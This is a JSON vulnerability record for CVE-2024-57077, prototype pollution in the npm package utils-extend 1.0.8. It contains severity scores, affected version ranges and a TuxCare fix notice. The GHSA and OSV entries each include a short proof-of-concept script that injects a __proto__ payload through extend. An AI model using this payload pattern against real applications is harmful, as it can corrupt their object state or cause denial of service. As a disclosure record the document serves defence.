{"id":"CVE-2024-57077","aliases":["CLSA-2026-1771891821","EUVD-2024-53520","GHSA-7qgg-vw88-cc99"],"status":"published","title":"utils-extend Prototype Pollution","description":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-11","score":0.0049,"percentile":0.4264,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-1321"],"published":"2025-02-05T00:00:00Z","modified":"2026-10-15T09:47:46Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"utils-extend","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.8"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"utils-extend","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.8-tuxcare.0"},{"fixed":"1.0.8-tuxcare.1"}]}],"versions":["1.0.8"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"utils-extend","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.8"}]}]}],"references":[{"url":"https://gist.github.com/tariqhawis/64bac50f8c2706e6880e45d50a507114","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-57077","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7qgg-vw88-cc99"},{"url":"https://github.com/douzi8/utils-extend","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-57077","description":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.","status":"published","published":"2025-02-05T00:00:00Z","modified":"2025-03-24T15:39:33.717Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:34:07.482552Z"}],"euvd":[{"id":"EUVD-2024-53520","description":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.","status":"published","published":"2025-02-05T00:00:00Z","modified":"2025-03-24T15:39:33Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:52:55.116366Z"}],"ghsa":[{"id":"GHSA-7qgg-vw88-cc99","title":"utils-extend Prototype Pollution","description":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\n## PoC\n```js\nasync function exploit() {\n   const utilsextend = require(\\\"utils-extend\\\");\n   const payload = JSON.parse('{\\\"__proto__\\\":{\\\"exploited\\\":true}}');\n   const result = await utilsextend.extend({}, payload);\n}\n\nawait exploit();\n```","status":"published","published":"2025-02-06T06:31:26Z","modified":"2025-09-03T15:22:41Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:38:55.953734Z"}],"nvd":[{"id":"CVE-2024-57077","description":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.","status":"published","published":"2025-02-05T22:15:31.997Z","modified":"2026-06-17T08:13:17.307Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:10:44.033107Z"}],"osv":[{"id":"GHSA-7qgg-vw88-cc99","title":"utils-extend Prototype Pollution","description":"The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\n## PoC\n```js\nasync function exploit() {\n   const utilsextend = require(\\\"utils-extend\\\");\n   const payload = JSON.parse('{\\\"__proto__\\\":{\\\"exploited\\\":true}}');\n   const result = await utilsextend.extend({}, payload);\n}\n\nawait exploit();\n```","status":"published","published":"2025-02-06T06:31:26Z","modified":"2025-09-03T15:22:41Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"CLSA-2026-1771891821","title":"TuxCare security update for utils-extend (2 CVEs)","description":"TuxCare rebuilt utils-extend to address 2 CVEs. Fixed in 1.0.8-tuxcare.1.","status":"published","published":"2026-08-04T14:52:07Z","modified":"2026-10-15T09:47:46.440463844Z","updated_at":"2026-11-02T15:43:43.249928Z"}]}}